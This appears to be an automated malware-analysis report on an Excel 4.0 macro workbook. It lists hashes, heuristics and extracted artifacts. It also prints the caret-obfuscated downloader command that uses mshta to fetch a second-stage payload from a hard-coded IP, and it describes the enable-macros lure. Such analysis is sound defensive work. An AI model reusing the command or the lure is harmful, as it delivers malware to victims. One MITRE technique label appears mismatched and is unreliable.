Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 9d1405bee9fa9e4c…

MALICIOUS

Office (OLE) / .XLS

65.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: e833d5c04986fcf32f4374b702528e0d SHA-1: 663bbfb7ae896eb6df2f6e96b195b379a6c0223c SHA-256: 9d1405bee9fa9e4c7da304d8881c0bd2b48dff6f44dc851647bfbe60865df1bf
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Service Control T1204.002 Malicious File: User Execution

The sample is an Excel 4.0 macro sheet that uses an Auto_Open defined name to execute a command. The document body explicitly instructs the user to enable macros and editing to view the content, acting as a lure. The embedded XLM macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which is designed to download a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes